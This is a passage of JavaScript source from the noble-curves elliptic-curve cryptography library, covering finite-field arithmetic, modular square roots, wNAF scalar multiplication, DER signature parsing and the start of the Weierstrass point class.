non-full-spec HMAC-DRBG from NIST 800-90 for RFC6979 sigs.\n let k = u8n(hashLen); // Steps B and C of RFC6979 3.2: set hashLen, in our case always same\n let i = 0; // Iterations counter, will throw when over 1000\n const reset = () => {\n v.fill(1);\n k.fill(0);\n i = 0;\n };\n const h = (...b) => hmacFn(k, v, ...b); // hmac(k)(v, ...values)\n const reseed = (seed = u8n()) => {\n // HMAC-DRBG reseed() function. Steps D-G\n k = h(u8fr([0x00]), seed); // k = hmac(k || v || 0x00 || seed)\n v = h(); // v = hmac(k || v)\n if (seed.length === 0)\n return;\n k = h(u8fr([0x01]), seed); // k = hmac(k || v || 0x01 || seed)\n v = h(); // v = hmac(k || v)\n };\n const gen = () => {\n // HMAC-DRBG generate() function\n if (i++ >= 1000)\n throw new Error('drbg: tried 1000 values');\n let len = 0;\n const out = [];\n while (len < qByteLen) {\n v = h();\n const sl = v.slice();\n out.push(sl);\n len += v.length;\n }\n return concatBytes(...out);\n };\n const genUntil = (seed, pred) => {\n reset();\n reseed(seed); // Steps D-G\n let res = undefined; // Step H: grind until k is in [1..n-1]\n while (!(res = pred(gen())))\n reseed();\n reset();\n return res;\n };\n return genUntil;\n}\n// Validating curves and fields\nconst validatorFns = {\n bigint: (val) => typeof val === 'bigint',\n function: (val) => typeof val === 'function',\n boolean: (val) => typeof val === 'boolean',\n string: (val) => typeof val === 'string',\n stringOrUint8Array: (val) => typeof val === 'string' || val instanceof Uint8Array,\n isSafeInteger: (val) => Number.isSafeInteger(val),\n array: (val) => Array.isArray(val),\n field: (val, object) => object.Fp.isValid(val),\n hash: (val) => typeof val === 'function' && Number.isSafeInteger(val.outputLen),\n};\n// type Record = { [P in K]: T; }\nexport function validateObject(object, validators, optValidators = {}) {\n const checkField = (fieldName, type, isOptional) => {\n const checkVal = validatorFns[type];\n if (typeof checkVal !== 'function')\n throw new Error(`Invalid validator \"${type}\", expected function`);\n const val = object[fieldName];\n if (isOptional && val === undefined)\n return;\n if (!checkVal(val, object)) {\n throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`);\n }\n };\n for (const [fieldName, type] of Object.entries(validators))\n checkField(fieldName, type, false);\n for (const [fieldName, type] of Object.entries(optValidators))\n checkField(fieldName, type, true);\n return object;\n}\n// validate type tests\n// const o: { a: number; b: number; c: number } = { a: 1, b: 5, c: 6 };\n// const z0 = validateObject(o, { a: 'isSafeInteger' }, { c: 'bigint' }); // Ok!\n// // Should fail type-check\n// const z1 = validateObject(o, { a: 'tmp' }, { c: 'zz' });\n// const z2 = validateObject(o, { a: 'isSafeInteger' }, { c: 'zz' });\n// const z3 = validateObject(o, { test: 'boolean', z: 'bug' });\n// const z4 = validateObject(o, { a: 'boolean', z: 'bug' });\n//# sourceMappingURL=utils.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// Utilities for modular arithmetics and finite fields\nimport { bitMask, numberToBytesBE, numberToBytesLE, bytesToNumberBE, bytesToNumberLE, ensureBytes, validateObject, } from './utils.js';\n// prettier-ignore\nconst _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3);\n// prettier-ignore\nconst _4n = BigInt(4), _5n = BigInt(5), _8n = BigInt(8);\n// prettier-ignore\nconst _9n = BigInt(9), _16n = BigInt(16);\n// Calculates a modulo b\nexport function mod(a, b) {\n const result = a % b;\n return result >= _0n ? result : b + result;\n}\n/**\n * Efficiently raise num to power and do modular division.\n * Unsafe in some contexts: uses ladder, so can expose bigint bits.\n * @example\n * pow(2n, 6n, 11n) // 64n % 11n == 9n\n */\n// TODO: use field version && remove\nexport function pow(num, power, modulo) {\n if (modulo <= _0n || power < _0n)\n throw new Error('Expected power/modulo > 0');\n if (modulo === _1n)\n return _0n;\n let res = _1n;\n while (power > _0n) {\n if (power & _1n)\n res = (res * num) % modulo;\n num = (num * num) % modulo;\n power >>= _1n;\n }\n return res;\n}\n// Does x ^ (2 ^ power) mod p. pow2(30, 4) == 30 ^ (2 ^ 4)\nexport function pow2(x, power, modulo) {\n let res = x;\n while (power-- > _0n) {\n res *= res;\n res %= modulo;\n }\n return res;\n}\n// Inverses number over modulo\nexport function invert(number, modulo) {\n if (number === _0n || modulo <= _0n) {\n throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`);\n }\n // Euclidean GCD https://brilliant.org/wiki/extended-euclidean-algorithm/\n // Fermat's little theorem \"CT-like\" version inv(n) = n^(m-2) mod m is 30x slower.\n let a = mod(number, modulo);\n let b = modulo;\n // prettier-ignore\n let x = _0n, y = _1n, u = _1n, v = _0n;\n while (a !== _0n) {\n // JIT applies optimization if those two lines follow each other\n const q = b / a;\n const r = b % a;\n const m = x - u * q;\n const n = y - v * q;\n // prettier-ignore\n b = a, a = r, x = u, y = v, u = m, v = n;\n }\n const gcd = b;\n if (gcd !== _1n)\n throw new Error('invert: does not exist');\n return mod(x, modulo);\n}\n/**\n * Tonelli-Shanks square root search algorithm.\n * 1. https://eprint.iacr.org/2012/685.pdf (page 12)\n * 2. Square Roots from 1; 24, 51, 10 to Dan Shanks\n * Will start an infinite loop if field order P is not prime.\n * @param P field order\n * @returns function that takes field Fp (created from P) and number n\n */\nexport function tonelliShanks(P) {\n // Legendre constant: used to calculate Legendre symbol (a | p),\n // which denotes the value of a^((p-1)/2) (mod p).\n // (a | p) ≡ 1 if a is a square (mod p)\n // (a | p) ≡ -1 if a is not a square (mod p)\n // (a | p) ≡ 0 if a ≡ 0 (mod p)\n const legendreC = (P - _1n) / _2n;\n let Q, S, Z;\n // Step 1: By factoring out powers of 2 from p - 1,\n // find q and s such that p - 1 = q*(2^s) with q odd\n for (Q = P - _1n, S = 0; Q % _2n === _0n; Q /= _2n, S++)\n ;\n // Step 2: Select a non-square z such that (z | p) ≡ -1 and set c ≡ zq\n for (Z = _2n; Z < P && pow(Z, legendreC, P) !== P - _1n; Z++)\n ;\n // Fast-path\n if (S === 1) {\n const p1div4 = (P + _1n) / _4n;\n return function tonelliFast(Fp, n) {\n const root = Fp.pow(n, p1div4);\n if (!Fp.eql(Fp.sqr(root), n))\n throw new Error('Cannot find square root');\n return root;\n };\n }\n // Slow-path\n const Q1div2 = (Q + _1n) / _2n;\n return function tonelliSlow(Fp, n) {\n // Step 0: Check that n is indeed a square: (n | p) should not be ≡ -1\n if (Fp.pow(n, legendreC) === Fp.neg(Fp.ONE))\n throw new Error('Cannot find square root');\n let r = S;\n // TODO: will fail at Fp2/etc\n let g = Fp.pow(Fp.mul(Fp.ONE, Z), Q); // will update both x and b\n let x = Fp.pow(n, Q1div2); // first guess at the square root\n let b = Fp.pow(n, Q); // first guess at the fudge factor\n while (!Fp.eql(b, Fp.ONE)) {\n if (Fp.eql(b, Fp.ZERO))\n return Fp.ZERO; // https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm (4. If t = 0, return r = 0)\n // Find m such b^(2^m)==1\n let m = 1;\n for (let t2 = Fp.sqr(b); m < r; m++) {\n if (Fp.eql(t2, Fp.ONE))\n break;\n t2 = Fp.sqr(t2); // t2 *= t2\n }\n // NOTE: r-m-1 can be bigger than 32, need to convert to bigint before shift, otherwise there will be overflow\n const ge = Fp.pow(g, _1n << BigInt(r - m - 1)); // ge = 2^(r-m-1)\n g = Fp.sqr(ge); // g = ge * ge\n x = Fp.mul(x, ge); // x *= ge\n b = Fp.mul(b, g); // b *= g\n r = m;\n }\n return x;\n };\n}\nexport function FpSqrt(P) {\n // NOTE: different algorithms can give different roots, it is up to user to decide which one they want.\n // For example there is FpSqrtOdd/FpSqrtEven to choice root based on oddness (used for hash-to-curve).\n // P ≡ 3 (mod 4)\n // √n = n^((P+1)/4)\n if (P % _4n === _3n) {\n // Not all roots possible!\n // const ORDER =\n // 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaabn;\n // const NUM = 72057594037927816n;\n const p1div4 = (P + _1n) / _4n;\n return function sqrt3mod4(Fp, n) {\n const root = Fp.pow(n, p1div4);\n // Throw if root**2 != n\n if (!Fp.eql(Fp.sqr(root), n))\n throw new Error('Cannot find square root');\n return root;\n };\n }\n // Atkin algorithm for q ≡ 5 (mod 8), https://eprint.iacr.org/2012/685.pdf (page 10)\n if (P % _8n === _5n) {\n const c1 = (P - _5n) / _8n;\n return function sqrt5mod8(Fp, n) {\n const n2 = Fp.mul(n, _2n);\n const v = Fp.pow(n2, c1);\n const nv = Fp.mul(n, v);\n const i = Fp.mul(Fp.mul(nv, _2n), v);\n const root = Fp.mul(nv, Fp.sub(i, Fp.ONE));\n if (!Fp.eql(Fp.sqr(root), n))\n throw new Error('Cannot find square root');\n return root;\n };\n }\n // P ≡ 9 (mod 16)\n if (P % _16n === _9n) {\n // NOTE: tonelli is too slow for bls-Fp2 calculations even on start\n // Means we cannot use sqrt for constants at all!\n //\n // const c1 = Fp.sqrt(Fp.negate(Fp.ONE)); // 1. c1 = sqrt(-1) in F, i.e., (c1^2) == -1 in F\n // const c2 = Fp.sqrt(c1); // 2. c2 = sqrt(c1) in F, i.e., (c2^2) == c1 in F\n // const c3 = Fp.sqrt(Fp.negate(c1)); // 3. c3 = sqrt(-c1) in F, i.e., (c3^2) == -c1 in F\n // const c4 = (P + _7n) / _16n; // 4. c4 = (q + 7) / 16 # Integer arithmetic\n // sqrt = (x) => {\n // let tv1 = Fp.pow(x, c4); // 1. tv1 = x^c4\n // let tv2 = Fp.mul(c1, tv1); // 2. tv2 = c1 * tv1\n // const tv3 = Fp.mul(c2, tv1); // 3. tv3 = c2 * tv1\n // let tv4 = Fp.mul(c3, tv1); // 4. tv4 = c3 * tv1\n // const e1 = Fp.equals(Fp.square(tv2), x); // 5. e1 = (tv2^2) == x\n // const e2 = Fp.equals(Fp.square(tv3), x); // 6. e2 = (tv3^2) == x\n // tv1 = Fp.cmov(tv1, tv2, e1); // 7. tv1 = CMOV(tv1, tv2, e1) # Select tv2 if (tv2^2) == x\n // tv2 = Fp.cmov(tv4, tv3, e2); // 8. tv2 = CMOV(tv4, tv3, e2) # Select tv3 if (tv3^2) == x\n // const e3 = Fp.equals(Fp.square(tv2), x); // 9. e3 = (tv2^2) == x\n // return Fp.cmov(tv1, tv2, e3); // 10. z = CMOV(tv1, tv2, e3) # Select the sqrt from tv1 and tv2\n // }\n }\n // Other cases: Tonelli-Shanks algorithm\n return tonelliShanks(P);\n}\n// Little-endian check for first LE bit (last BE bit);\nexport const isNegativeLE = (num, modulo) => (mod(num, modulo) & _1n) === _1n;\n// prettier-ignore\nconst FIELD_FIELDS = [\n 'create', 'isValid', 'is0', 'neg', 'inv', 'sqrt', 'sqr',\n 'eql', 'add', 'sub', 'mul', 'pow', 'div',\n 'addN', 'subN', 'mulN', 'sqrN'\n];\nexport function validateField(field) {\n const initial = {\n ORDER: 'bigint',\n MASK: 'bigint',\n BYTES: 'isSafeInteger',\n BITS: 'isSafeInteger',\n };\n const opts = FIELD_FIELDS.reduce((map, val) => {\n map[val] = 'function';\n return map;\n }, initial);\n return validateObject(field, opts);\n}\n// Generic field functions\n/**\n * Same as `pow` but for Fp: non-constant-time.\n * Unsafe in some contexts: uses ladder, so can expose bigint bits.\n */\nexport function FpPow(f, num, power) {\n // Should have same speed as pow for bigints\n // TODO: benchmark!\n if (power < _0n)\n throw new Error('Expected power > 0');\n if (power === _0n)\n return f.ONE;\n if (power === _1n)\n return num;\n let p = f.ONE;\n let d = num;\n while (power > _0n) {\n if (power & _1n)\n p = f.mul(p, d);\n d = f.sqr(d);\n power >>= _1n;\n }\n return p;\n}\n/**\n * Efficiently invert an array of Field elements.\n * `inv(0)` will return `undefined` here: make sure to throw an error.\n */\nexport function FpInvertBatch(f, nums) {\n const tmp = new Array(nums.length);\n // Walk from first to last, multiply them by each other MOD p\n const lastMultiplied = nums.reduce((acc, num, i) => {\n if (f.is0(num))\n return acc;\n tmp[i] = acc;\n return f.mul(acc, num);\n }, f.ONE);\n // Invert last element\n const inverted = f.inv(lastMultiplied);\n // Walk from last to first, multiply them by inverted each other MOD p\n nums.reduceRight((acc, num, i) => {\n if (f.is0(num))\n return acc;\n tmp[i] = f.mul(acc, tmp[i]);\n return f.mul(acc, num);\n }, inverted);\n return tmp;\n}\nexport function FpDiv(f, lhs, rhs) {\n return f.mul(lhs, typeof rhs === 'bigint' ? invert(rhs, f.ORDER) : f.inv(rhs));\n}\n// This function returns True whenever the value x is a square in the field F.\nexport function FpIsSquare(f) {\n const legendreConst = (f.ORDER - _1n) / _2n; // Integer arithmetic\n return (x) => {\n const p = f.pow(x, legendreConst);\n return f.eql(p, f.ZERO) || f.eql(p, f.ONE);\n };\n}\n// CURVE.n lengths\nexport function nLength(n, nBitLength) {\n // Bit size, byte size of CURVE.n\n const _nBitLength = nBitLength !== undefined ? nBitLength : n.toString(2).length;\n const nByteLength = Math.ceil(_nBitLength / 8);\n return { nBitLength: _nBitLength, nByteLength };\n}\n/**\n * Initializes a finite field over prime. **Non-primes are not supported.**\n * Do not init in loop: slow. Very fragile: always run a benchmark on a change.\n * Major performance optimizations:\n * * a) denormalized operations like mulN instead of mul\n * * b) same object shape: never add or remove keys\n * * c) Object.freeze\n * @param ORDER prime positive bigint\n * @param bitLen how many bits the field consumes\n * @param isLE (def: false) if encoding / decoding should be in little-endian\n * @param redef optional faster redefinitions of sqrt and other methods\n */\nexport function Field(ORDER, bitLen, isLE = false, redef = {}) {\n if (ORDER <= _0n)\n throw new Error(`Expected Field ORDER > 0, got ${ORDER}`);\n const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, bitLen);\n if (BYTES > 2048)\n throw new Error('Field lengths over 2048 bytes are not supported');\n const sqrtP = FpSqrt(ORDER);\n const f = Object.freeze({\n ORDER,\n BITS,\n BYTES,\n MASK: bitMask(BITS),\n ZERO: _0n,\n ONE: _1n,\n create: (num) => mod(num, ORDER),\n isValid: (num) => {\n if (typeof num !== 'bigint')\n throw new Error(`Invalid field element: expected bigint, got ${typeof num}`);\n return _0n <= num && num < ORDER; // 0 is valid element, but it's not invertible\n },\n is0: (num) => num === _0n,\n isOdd: (num) => (num & _1n) === _1n,\n neg: (num) => mod(-num, ORDER),\n eql: (lhs, rhs) => lhs === rhs,\n sqr: (num) => mod(num * num, ORDER),\n add: (lhs, rhs) => mod(lhs + rhs, ORDER),\n sub: (lhs, rhs) => mod(lhs - rhs, ORDER),\n mul: (lhs, rhs) => mod(lhs * rhs, ORDER),\n pow: (num, power) => FpPow(f, num, power),\n div: (lhs, rhs) => mod(lhs * invert(rhs, ORDER), ORDER),\n // Same as above, but doesn't normalize\n sqrN: (num) => num * num,\n addN: (lhs, rhs) => lhs + rhs,\n subN: (lhs, rhs) => lhs - rhs,\n mulN: (lhs, rhs) => lhs * rhs,\n inv: (num) => invert(num, ORDER),\n sqrt: redef.sqrt || ((n) => sqrtP(f, n)),\n invertBatch: (lst) => FpInvertBatch(f, lst),\n // TODO: do we really need constant cmov?\n // We don't have const-time bigints anyway, so probably will be not very useful\n cmov: (a, b, c) => (c ? b : a),\n toBytes: (num) => (isLE ? numberToBytesLE(num, BYTES) : numberToBytesBE(num, BYTES)),\n fromBytes: (bytes) => {\n if (bytes.length !== BYTES)\n throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`);\n return isLE ? bytesToNumberLE(bytes) : bytesToNumberBE(bytes);\n },\n });\n return Object.freeze(f);\n}\nexport function FpSqrtOdd(Fp, elm) {\n if (!Fp.isOdd)\n throw new Error(`Field doesn't have isOdd`);\n const root = Fp.sqrt(elm);\n return Fp.isOdd(root) ? root : Fp.neg(root);\n}\nexport function FpSqrtEven(Fp, elm) {\n if (!Fp.isOdd)\n throw new Error(`Field doesn't have isOdd`);\n const root = Fp.sqrt(elm);\n return Fp.isOdd(root) ? Fp.neg(root) : root;\n}\n/**\n * \"Constant-time\" private key generation utility.\n * Same as mapKeyToField, but accepts less bytes (40 instead of 48 for 32-byte field).\n * Which makes it slightly more biased, less secure.\n * @deprecated use mapKeyToField instead\n */\nexport function hashToPrivateScalar(hash, groupOrder, isLE = false) {\n hash = ensureBytes('privateHash', hash);\n const hashLen = hash.length;\n const minLen = nLength(groupOrder).nByteLength + 8;\n if (minLen < 24 || hashLen < minLen || hashLen > 1024)\n throw new Error(`hashToPrivateScalar: expected ${minLen}-1024 bytes of input, got ${hashLen}`);\n const num = isLE ? bytesToNumberLE(hash) : bytesToNumberBE(hash);\n return mod(num, groupOrder - _1n) + _1n;\n}\n/**\n * Returns total number of bytes consumed by the field element.\n * For example, 32 bytes for usual 256-bit weierstrass curve.\n * @param fieldOrder number of field elements, usually CURVE.n\n * @returns byte length of field\n */\nexport function getFieldBytesLength(fieldOrder) {\n if (typeof fieldOrder !== 'bigint')\n throw new Error('field order must be bigint');\n const bitLength = fieldOrder.toString(2).length;\n return Math.ceil(bitLength / 8);\n}\n/**\n * Returns minimal amount of bytes that can be safely reduced\n * by field order.\n * Should be 2^-128 for 128-bit curve such as P256.\n * @param fieldOrder number of field elements, usually CURVE.n\n * @returns byte length of target hash\n */\nexport function getMinHashLength(fieldOrder) {\n const length = getFieldBytesLength(fieldOrder);\n return length + Math.ceil(length / 2);\n}\n/**\n * \"Constant-time\" private key generation utility.\n * Can take (n + n/2) or more bytes of uniform input e.g. from CSPRNG or KDF\n * and convert them into private scalar, with the modulo bias being negligible.\n * Needs at least 48 bytes of input for 32-byte private key.\n * https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/\n * FIPS 186-5, A.2 https://csrc.nist.gov/publications/detail/fips/186/5/final\n * RFC 9380, https://www.rfc-editor.org/rfc/rfc9380#section-5\n * @param hash hash output from SHA3 or a similar function\n * @param groupOrder size of subgroup - (e.g. secp256k1.CURVE.n)\n * @param isLE interpret hash bytes as LE num\n * @returns valid private scalar\n */\nexport function mapHashToField(key, fieldOrder, isLE = false) {\n const len = key.length;\n const fieldLen = getFieldBytesLength(fieldOrder);\n const minLen = getMinHashLength(fieldOrder);\n // No small numbers: need to understand bias story. No huge numbers: easier to detect JS timings.\n if (len < 16 || len < minLen || len > 1024)\n throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`);\n const num = isLE ? bytesToNumberBE(key) : bytesToNumberLE(key);\n // `mod(x, 11)` can sometimes produce 0. `mod(x, 10) + 1` is the same, but no 0\n const reduced = mod(num, fieldOrder - _1n) + _1n;\n return isLE ? numberToBytesLE(reduced, fieldLen) : numberToBytesBE(reduced, fieldLen);\n}\n//# sourceMappingURL=modular.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// Abelian group utilities\nimport { validateField, nLength } from './modular.js';\nimport { validateObject } from './utils.js';\nconst _0n = BigInt(0);\nconst _1n = BigInt(1);\n// Elliptic curve multiplication of Point by scalar. Fragile.\n// Scalars should always be less than curve order: this should be checked inside of a curve itself.\n// Creates precomputation tables for fast multiplication:\n// - private scalar is split by fixed size windows of W bits\n// - every window point is collected from window's table & added to accumulator\n// - since windows are different, same point inside tables won't be accessed more than once per calc\n// - each multiplication is 'Math.ceil(CURVE_ORDER / 𝑊) + 1' point additions (fixed for any scalar)\n// - +1 window is neccessary for wNAF\n// - wNAF reduces table size: 2x less memory + 2x faster generation, but 10% slower multiplication\n// TODO: Research returning 2d JS array of windows, instead of a single window. This would allow\n// windows to be in different memory locations\nexport function wNAF(c, bits) {\n const constTimeNegate = (condition, item) => {\n const neg = item.negate();\n return condition ? neg : item;\n };\n const opts = (W) => {\n const windows = Math.ceil(bits / W) + 1; // +1, because\n const windowSize = 2 ** (W - 1); // -1 because we skip zero\n return { windows, windowSize };\n };\n return {\n constTimeNegate,\n // non-const time multiplication ladder\n unsafeLadder(elm, n) {\n let p = c.ZERO;\n let d = elm;\n while (n > _0n) {\n if (n & _1n)\n p = p.add(d);\n d = d.double();\n n >>= _1n;\n }\n return p;\n },\n /**\n * Creates a wNAF precomputation window. Used for caching.\n * Default window size is set by `utils.precompute()` and is equal to 8.\n * Number of precomputed points depends on the curve size:\n * 2^(𝑊−1) * (Math.ceil(𝑛 / 𝑊) + 1), where:\n * - 𝑊 is the window size\n * - 𝑛 is the bitlength of the curve order.\n * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224.\n * @returns precomputed point tables flattened to a single array\n */\n precomputeWindow(elm, W) {\n const { windows, windowSize } = opts(W);\n const points = [];\n let p = elm;\n let base = p;\n for (let window = 0; window < windows; window++) {\n base = p;\n points.push(base);\n // =1, because we skip zero\n for (let i = 1; i < windowSize; i++) {\n base = base.add(p);\n points.push(base);\n }\n p = base.double();\n }\n return points;\n },\n /**\n * Implements ec multiplication using precomputed tables and w-ary non-adjacent form.\n * @param W window size\n * @param precomputes precomputed tables\n * @param n scalar (we don't check here, but should be less than curve order)\n * @returns real and fake (for const-time) points\n */\n wNAF(W, precomputes, n) {\n // TODO: maybe check that scalar is less than group order? wNAF behavious is undefined otherwise\n // But need to carefully remove other checks before wNAF. ORDER == bits here\n const { windows, windowSize } = opts(W);\n let p = c.ZERO;\n let f = c.BASE;\n const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc.\n const maxNumber = 2 ** W;\n const shiftBy = BigInt(W);\n for (let window = 0; window < windows; window++) {\n const offset = window * windowSize;\n // Extract W bits.\n let wbits = Number(n & mask);\n // Shift number by W bits.\n n >>= shiftBy;\n // If the bits are bigger than max size, we'll split those.\n // +224 => 256 - 32\n if (wbits > windowSize) {\n wbits -= maxNumber;\n n += _1n;\n }\n // This code was first written with assumption that 'f' and 'p' will never be infinity point:\n // since each addition is multiplied by 2 ** W, it cannot cancel each other. However,\n // there is negate now: it is possible that negated element from low value\n // would be the same as high element, which will create carry into next window.\n // It's not obvious how this can fail, but still worth investigating later.\n // Check if we're onto Zero point.\n // Add random point inside current window to f.\n const offset1 = offset;\n const offset2 = offset + Math.abs(wbits) - 1; // -1 because we skip zero\n const cond1 = window % 2 !== 0;\n const cond2 = wbits < 0;\n if (wbits === 0) {\n // The most important part for const-time getPublicKey\n f = f.add(constTimeNegate(cond1, precomputes[offset1]));\n }\n else {\n p = p.add(constTimeNegate(cond2, precomputes[offset2]));\n }\n }\n // JIT-compiler should not eliminate f here, since it will later be used in normalizeZ()\n // Even if the variable is still unused, there are some checks which will\n // throw an exception, so compiler needs to prove they won't happen, which is hard.\n // At this point there is a way to F be infinity-point even if p is not,\n // which makes it less const-time: around 1 bigint multiply.\n return { p, f };\n },\n wNAFCached(P, precomputesMap, n, transform) {\n // @ts-ignore\n const W = P._WINDOW_SIZE || 1;\n // Calculate precomputes on a first run, reuse them after\n let comp = precomputesMap.get(P);\n if (!comp) {\n comp = this.precomputeWindow(P, W);\n if (W !== 1) {\n precomputesMap.set(P, transform(comp));\n }\n }\n return this.wNAF(W, comp, n);\n },\n };\n}\nexport function validateBasic(curve) {\n validateField(curve.Fp);\n validateObject(curve, {\n n: 'bigint',\n h: 'bigint',\n Gx: 'field',\n Gy: 'field',\n }, {\n nBitLength: 'isSafeInteger',\n nByteLength: 'isSafeInteger',\n });\n // Set defaults\n return Object.freeze({\n ...nLength(curve.n, curve.nBitLength),\n ...curve,\n ...{ p: curve.Fp.ORDER },\n });\n}\n//# sourceMappingURL=curve.js.map","/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// Short Weierstrass curve. The formula is: y² = x³ + ax + b\nimport * as mod from './modular.js';\nimport * as ut from './utils.js';\nimport { ensureBytes } from './utils.js';\nimport { wNAF, validateBasic } from './curve.js';\nfunction validatePointOpts(curve) {\n const opts = validateBasic(curve);\n ut.validateObject(opts, {\n a: 'field',\n b: 'field',\n }, {\n allowedPrivateKeyLengths: 'array',\n wrapPrivateKey: 'boolean',\n isTorsionFree: 'function',\n clearCofactor: 'function',\n allowInfinityPoint: 'boolean',\n fromBytes: 'function',\n toBytes: 'function',\n });\n const { endo, Fp, a } = opts;\n if (endo) {\n if (!Fp.eql(a, Fp.ZERO)) {\n throw new Error('Endomorphism can only be defined for Koblitz curves that have a=0');\n }\n if (typeof endo !== 'object' ||\n typeof endo.beta !== 'bigint' ||\n typeof endo.splitScalar !== 'function') {\n throw new Error('Expected endomorphism with beta: bigint and splitScalar: function');\n }\n }\n return Object.freeze({ ...opts });\n}\n// ASN.1 DER encoding utilities\nconst { bytesToNumberBE: b2n, hexToBytes: h2b } = ut;\nexport const DER = {\n // asn.1 DER encoding utils\n Err: class DERErr extends Error {\n constructor(m = '') {\n super(m);\n }\n },\n _parseInt(data) {\n const { Err: E } = DER;\n if (data.length < 2 || data[0] !== 0x02)\n throw new E('Invalid signature integer tag');\n const len = data[1];\n const res = data.subarray(2, len + 2);\n if (!len || res.length !== len)\n throw new E('Invalid signature integer: wrong length');\n // https://crypto.stackexchange.com/a/57734 Leftmost bit of first byte is 'negative' flag,\n // since we always use positive integers here. It must always be empty:\n // - add zero byte if exists\n // - if next byte doesn't have a flag, leading zero is not allowed (minimal encoding)\n if (res[0] & 0b10000000)\n throw new E('Invalid signature integer: negative');\n if (res[0] === 0x00 && !(res[1] & 0b10000000))\n throw new E('Invalid signature integer: unnecessary leading zero');\n return { d: b2n(res), l: data.subarray(len + 2) }; // d is data, l is left\n },\n toSig(hex) {\n // parse DER signature\n const { Err: E } = DER;\n const data = typeof hex === 'string' ? h2b(hex) : hex;\n if (!(data instanceof Uint8Array))\n throw new Error('ui8a expected');\n let l = data.length;\n if (l < 2 || data[0] != 0x30)\n throw new E('Invalid signature tag');\n if (data[1] !== l - 2)\n throw new E('Invalid signature: incorrect length');\n const { d: r, l: sBytes } = DER._parseInt(data.subarray(2));\n const { d: s, l: rBytesLeft } = DER._parseInt(sBytes);\n if (rBytesLeft.length)\n throw new E('Invalid signature: left bytes after parsing');\n return { r, s };\n },\n hexFromSig(sig) {\n // Add leading zero if first byte has negative bit enabled. More details in '_parseInt'\n const slice = (s) => (Number.parseInt(s[0], 16) & 0b1000 ? '00' + s : s);\n const h = (num) => {\n const hex = num.toString(16);\n return hex.length & 1 ? `0${hex}` : hex;\n };\n const s = slice(h(sig.s));\n const r = slice(h(sig.r));\n const shl = s.length / 2;\n const rhl = r.length / 2;\n const sl = h(shl);\n const rl = h(rhl);\n return `30${h(rhl + shl + 4)}02${rl}${r}02${sl}${s}`;\n },\n};\n// Be friendly to bad ECMAScript parsers by not using bigint literals\n// prettier-ignore\nconst _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4);\nexport function weierstrassPoints(opts) {\n const CURVE = validatePointOpts(opts);\n const { Fp } = CURVE; // All curves has same field / group length as for now, but they can differ\n const toBytes = CURVE.toBytes ||\n ((_c, point, _isCompressed) => {\n const a = point.toAffine();\n return ut.concatBytes(Uint8Array.from([0x04]), Fp.toBytes(a.x), Fp.toBytes(a.y));\n });\n const fromBytes = CURVE.fromBytes ||\n ((bytes) => {\n // const head = bytes[0];\n const tail = bytes.subarray(1);\n // if (head !== 0x04) throw new Error('Only non-compressed encoding is supported');\n const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES));\n const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES));\n return { x, y };\n });\n /**\n * y² = x³ + ax + b: Short weierstrass curve formula\n * @returns y²\n */\n function weierstrassEquation(x) {\n const { a, b } = CURVE;\n const x2 = Fp.sqr(x); // x * x\n const x3 = Fp.mul(x2, x); // x2 * x\n return Fp.add(Fp.add(x3, Fp.mul(x, a)), b); // x3 + a * x + b\n }\n // Validate whether the passed curve params are valid.\n // We check if curve equation works for generator point.\n // `assertValidity()` won't work: `isTorsionFree()` is not available at this point in bls12-381.\n // ProjectivePoint class has not been initialized yet.\n if (!Fp.eql(Fp.sqr(CURVE.Gy), weierstrassEquation(CURVE.Gx)))\n throw new Error('bad generator point: equation left != right');\n // Valid group elements reside in range 1..n-1\n function isWithinCurveOrder(num) {\n return typeof num === 'bigint' && _0n < num && num < CURVE.n;\n }\n function assertGE(num) {\n if (!isWithinCurveOrder(num))\n throw new Error('Expected valid bigint: 0 < bigint < curve.n');\n }\n // Validates if priv key is valid and converts it to bigint.\n // Supports options allowedPrivateKeyLengths and wrapPrivateKey.\n function normPrivateKeyToScalar(key) {\n const { allowedPrivateKeyLengths: lengths, nByteLength, wrapPrivateKey, n } = CURVE;\n if (lengths && typeof key !== 'bigint') {\n if (key instanceof Uint8Array)\n key = ut.bytesToHex(key);\n // Normalize to hex string, pad. E.g. P521 would norm 130-132 char hex to 132-char bytes\n if (typeof key !== 'string' || !lengths.includes(key.length))\n throw new Error('Invalid key');\n key = key.padStart(nByteLength * 2, '0');\n }\n let num;\n try {\n num =\n typeof key === 'bigint'\n ? key\n : ut.bytesToNumberBE(ensureBytes('private key', key, nByteLength));\n }\n catch (error) {\n throw new Error(`private key must be ${nByteLength} bytes, hex or bigint, not ${typeof key}`);\n }\n if (wrapPrivateKey)\n num = mod.mod(num, n); // disabled by default, enabled for BLS\n assertGE(num); // num in range [1..N-1]\n return num;\n }\n const pointPrecomputes = new Map();\n function assertPrjPoint(other) {\n if (!(other instanceof Point))\n throw new Error('ProjectivePoint expected');\n }\n /**\n * Projective Point works in 3d / projective (homogeneous) coordinates: (x, y, z) ∋ (x=x/z, y=y/z)\n * Default Point works in 2d / affine coordinates: (x, y)\n * We're doing calculations in projective, because its operations don't require costly inversion.\n */\n class Point {\n constructor(px, py, pz) {\n this.px = px;\n this.py = py;\n this.pz = pz;\n if (px == null || !Fp.isValid(px))\n throw new Error('x required');\n if (py == null || !Fp.isValid(py))\n throw new Error('y required');\n if (pz == null || !Fp.isValid(pz))\n throw new Error('z required');\n }\n // 